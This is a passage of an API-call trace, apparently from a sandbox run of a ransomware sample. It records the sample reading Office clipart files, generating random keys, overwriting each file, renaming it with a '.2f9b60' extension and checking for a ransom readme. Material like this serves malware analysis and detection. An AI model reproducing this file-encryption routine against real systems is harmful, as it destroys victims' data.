NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7d868cf56d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106700 [0109.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106700) returned 1 [0109.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99f70) returned 1 [0109.745] NtQueryInformationFile (in: FileHandle=0xedc, IoStatusBlock=0x2425fd18, FileInformation=0x2425fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2425fd18, FileInformation=0x2425fd28) returned 0x0 [0109.745] NtSetInformationFile (FileHandle=0xedc, IoStatusBlock=0x2425fd18, FileInformation=0x2425fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b12d0) returned 1 [0109.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 [0109.751] FlushFileBuffers (hFile=0xedc) returned 1 [0109.793] CloseHandle (hObject=0xedc) returned 1 [0109.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1730 [0109.797] wcscpy (in: _Dest=0x202b1730, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.797] wcscat (in: _Dest=0x202b1730, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0109.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cc30) returned 1 Thread: id = 645 os_tid = 0x10f8 [0095.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0096.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", dwFileAttributes=0x20) returned 1 [0096.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed8 [0096.416] GetFileSizeEx (in: hFile=0xed8, lpFileSize=0x29d7fd40 | out: lpFileSize=0x29d7fd40*=12702) returned 1 [0096.416] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x319a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.416] ReadFile (in: hFile=0xed8, lpBuffer=0x29d7fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29d7fd08, lpOverlapped=0x0 | out: lpBuffer=0x29d7fcc0*, lpNumberOfBytesRead=0x29d7fd08*=0x4, lpOverlapped=0x0) returned 1 [0096.459] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0096.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0096.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0096.459] NtQuerySystemTime (in: CurrentTime=0x29d7fc00 | out: CurrentTime=0x29d7fc00*=132462177022966000) returned 0x0 [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x626e6a12 [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0xafddd95 [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x61d167cb [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x107b0783 [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x5b8fa89a [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x2b5b9840 [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x143c8a72 [0096.459] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x42efef90 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x3eb15d9a [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0xbb910c9 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x1180c31a [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x5bb585f1 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x3a7196c6 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x4d9229b8 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x210c7d35 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x48c7fd99 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x15f623a2 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x1db6a8ee [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x3c6a18b1 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x7d57e2fa [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x5fecb569 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x771e98f2 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x7301e4f1 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x47bb161a [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x7d4ecfe [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x161b7a9 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x73e28dc8 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x7ca528dc [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x47784ce8 [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0xd65a8fb [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x615a55fe [0096.460] RtlRandomEx (in: Seed=0x29d7fbf0 | out: Seed=0x29d7fbf0) returned 0x3fadfc67 [0096.469] ReadFile (in: hFile=0xed8, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0x29d7fbf0, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x29d7fbf0*=0x319e, lpOverlapped=0x0) returned 1 [0096.941] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.942] WriteFile (in: hFile=0xed8, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x319e, lpNumberOfBytesWritten=0x29d7fbf4, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x29d7fbf4*=0x319e, lpOverlapped=0x0) returned 1 [0100.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0100.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0100.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262de0) returned 1 [0100.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0100.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0100.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0100.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0100.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262de0 [0100.131] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.131] WriteFile (in: hFile=0xed8, lpBuffer=0x167940*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29d7fd10, lpOverlapped=0x0 | out: lpBuffer=0x167940*, lpNumberOfBytesWritten=0x29d7fd10*=0x10a, lpOverlapped=0x0) returned 1 [0100.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0100.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0100.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0100.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0100.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cf0) returned 1 [0100.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f670 [0100.629] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="c2") returned 2 [0100.629] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="70") returned 2 [0100.629] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="1a") returned 2 [0100.629] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="58") returned 2 [0100.629] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="31") returned 2 [0100.629] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="b1") returned 2 [0100.629] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="48") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="ea") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="32") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="3b") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="85") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="58") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="d8") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="99") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="f9") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="7f") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="8e") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="4e") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="df") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="52") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f698, _Format="%c%c" | out: _Dest="19") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f69a, _Format="%c%c" | out: _Dest="e0") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f69c, _Format="%c%c" | out: _Dest="dd") returned 2 [0100.630] sprintf (in: _Dest=0x1cd9f69e, _Format="%c%c" | out: _Dest="89") returned 2 [0100.630] RtlInitAnsiString (in: DestinationString=0x29d7fd88, SourceString="c2701a5831b148ea323b8558d899f97f8e4edf5219e0dd89" | out: DestinationString="c2701a5831b148ea323b8558d899f97f8e4edf5219e0dd89") [0100.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x29d7fd58, SourceString="c2701a5831b148ea323b8558d899f97f8e4edf5219e0dd89", AllocateDestinationString=1 | out: DestinationString="c2701a5831b148ea323b8558d899f97f8e4edf5219e0dd89") returned 0x0 [0100.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86ea30 [0100.631] wcscat (in: _Dest=0x202b0bf0, _Source="c2701a5831b1" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1" [0100.631] wcscat (in: _Dest=0x202b0bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60" [0100.631] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60", NtPathName=0x29d7fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107480 [0109.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0109.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0109.457] NtQueryInformationFile (in: FileHandle=0xed8, IoStatusBlock=0x29d7fd98, FileInformation=0x29d7fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29d7fd98, FileInformation=0x29d7fda8) returned 0x0 [0109.457] NtSetInformationFile (FileHandle=0xed8, IoStatusBlock=0x29d7fd98, FileInformation=0x29d7fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0bf0) returned 1 [0109.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ea30) returned 1 [0109.461] FlushFileBuffers (hFile=0xed8) returned 1 [0109.471] CloseHandle (hObject=0xed8) returned 1 [0109.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0830 [0109.472] wcscpy (in: _Dest=0x202b0830, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.472] wcscat (in: _Dest=0x202b0830, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0830) returned 1 [0109.473] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ccc0) returned 1 Thread: id = 646 os_tid = 0x10fc [0095.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0096.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", dwFileAttributes=0x20) returned 1 [0096.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed4 [0096.397] GetFileSizeEx (in: hFile=0xed4, lpFileSize=0x29cbfbc0 | out: lpFileSize=0x29cbfbc0*=3484) returned 1 [0096.397] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0xd98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.397] ReadFile (in: hFile=0xed4, lpBuffer=0x29cbfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29cbfb88, lpOverlapped=0x0 | out: lpBuffer=0x29cbfb40*, lpNumberOfBytesRead=0x29cbfb88*=0x4, lpOverlapped=0x0) returned 1 [0096.928] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b860 [0096.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0096.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0096.928] NtQuerySystemTime (in: CurrentTime=0x29cbfa80 | out: CurrentTime=0x29cbfa80*=132462177027646000) returned 0x0 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x3fe3fed4 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x7a7734dd [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x32dba333 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x7d4b801 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x436472ad [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x7dcfdbfe [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x35cde2ea [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x28b0a7c2 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x6fc79603 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x31d8e666 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x19ffdfdf [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x183376f9 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x28301d82 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x29b95bb5 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x5256ff7e [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x3cde0b4a [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x6938e553 [0096.928] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x55a40b45 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x4e981579 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x1f46b370 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x29f4595d [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x3c1795c9 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x43d88e1d [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x787b31e6 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x3e9e1ee5 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x399e9216 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x73f6658f [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x272f0902 [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x396be1ec [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x3c63203a [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x5d4d26d [0096.929] RtlRandomEx (in: Seed=0x29cbfa70 | out: Seed=0x29cbfa70) returned 0x706b09b4 [0096.937] ReadFile (in: hFile=0xed4, lpBuffer=0x201a2d00, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x29cbfa70, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesRead=0x29cbfa70*=0xd9c, lpOverlapped=0x0) returned 1 [0096.938] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.938] WriteFile (in: hFile=0xed4, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0xd9c, lpNumberOfBytesWritten=0x29cbfa74, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x29cbfa74*=0xd9c, lpOverlapped=0x0) returned 1 [0099.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0099.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0099.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262330) returned 1 [0099.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0099.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0099.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0099.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0099.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262330 [0099.639] SetFilePointerEx (in: hFile=0xed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0099.639] WriteFile (in: hFile=0xed4, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29cbfb90, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x29cbfb90*=0x10a, lpOverlapped=0x0) returned 1 [0100.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0100.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0100.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0100.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0100.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8340) returned 1 [0100.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f3b0 [0100.592] sprintf (in: _Dest=0x1cd9f3b0, _Format="%c%c" | out: _Dest="21") returned 2 [0100.592] sprintf (in: _Dest=0x1cd9f3b2, _Format="%c%c" | out: _Dest="26") returned 2 [0100.592] sprintf (in: _Dest=0x1cd9f3b4, _Format="%c%c" | out: _Dest="5f") returned 2 [0100.592] sprintf (in: _Dest=0x1cd9f3b6, _Format="%c%c" | out: _Dest="80") returned 2 [0100.592] sprintf (in: _Dest=0x1cd9f3b8, _Format="%c%c" | out: _Dest="48") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3ba, _Format="%c%c" | out: _Dest="0e") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3bc, _Format="%c%c" | out: _Dest="c7") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3be, _Format="%c%c" | out: _Dest="9e") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3c0, _Format="%c%c" | out: _Dest="dc") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3c2, _Format="%c%c" | out: _Dest="d1") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3c4, _Format="%c%c" | out: _Dest="88") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3c6, _Format="%c%c" | out: _Dest="e3") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3c8, _Format="%c%c" | out: _Dest="27") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3ca, _Format="%c%c" | out: _Dest="07") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3cc, _Format="%c%c" | out: _Dest="ca") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3ce, _Format="%c%c" | out: _Dest="b6") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3d0, _Format="%c%c" | out: _Dest="cf") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3d2, _Format="%c%c" | out: _Dest="03") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3d4, _Format="%c%c" | out: _Dest="cf") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3d6, _Format="%c%c" | out: _Dest="31") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3d8, _Format="%c%c" | out: _Dest="26") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3da, _Format="%c%c" | out: _Dest="71") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3dc, _Format="%c%c" | out: _Dest="d4") returned 2 [0100.593] sprintf (in: _Dest=0x1cd9f3de, _Format="%c%c" | out: _Dest="21") returned 2 [0100.593] 